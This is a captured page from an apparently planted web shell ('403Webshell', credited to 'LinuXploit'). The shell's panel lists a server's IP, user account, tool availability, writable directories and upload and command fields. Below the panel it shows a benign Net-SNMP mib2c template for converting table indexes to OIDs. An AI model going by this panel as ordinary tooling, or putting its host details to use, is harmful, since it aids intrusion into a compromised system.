403Webshell
Server IP : 103.75.185.95  /  Your IP : 216.73.217.162
Web Server : nginx/1.30.0
System : Linux cs-linux-20260509085757017 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : cuuhootoxema ( 1215)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/snmp/mib2c-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/snmp/mib2c-data/generic-table-indexes-to-oid.m2i
#############################################################  -*- c -*-
## generic include for XXX. Do not use directly.
##
########################################################################
@if $m2c_mark_boundary == 1@
/** START code generated by generic-table-indexes-to-oid.m2i */
@end@
########################################################################
##
/**
 * @internal
 * convert the index component stored in the context to an oid
 */
int
${context}_index_to_oid(netsnmp_index *oid_idx,
                         ${context}_mib_index *mib_idx)
{
@include generic-table-indexes-varbind-setup.m2i@

    DEBUGMSGTL(("verbose:${context}:${context}_index_to_oid","called\n"));

@    foreach $node index@
@        include m2c_setup_node.m2i@
        /* $m2c_node_summary */
@        if $m2c_node_needlength == 1@
    snmp_set_var_value(&var_$node, &mib_idx->$node,
                       mib_idx->${node}_len * sizeof(mib_idx->${node}[0]));
@        else@
    snmp_set_var_value(&var_$node, &mib_idx->$node, sizeof(mib_idx->$node));
@        end@

@    end@ # for each column

    err = build_oid_noalloc(oid_idx->oids, oid_idx->len, &oid_idx->len,
                           NULL, 0, &var_$m2c_dii_first);
    if(err)
        snmp_log(LOG_ERR,"error %d converting index to oid\n", err);

    /*
     * parsing may have allocated memory. free it.
     */
    snmp_reset_var_buffers( &var_$m2c_dii_first );

    return err;
} /* ${context}_index_to_oid */

##
########################################################################
@if $m2c_mark_boundary == 1@
/** END code generated by generic-table-indexes-to-oid.m2i */
@end@

Youez - 2016 - github.com/yon3zu
LinuXploit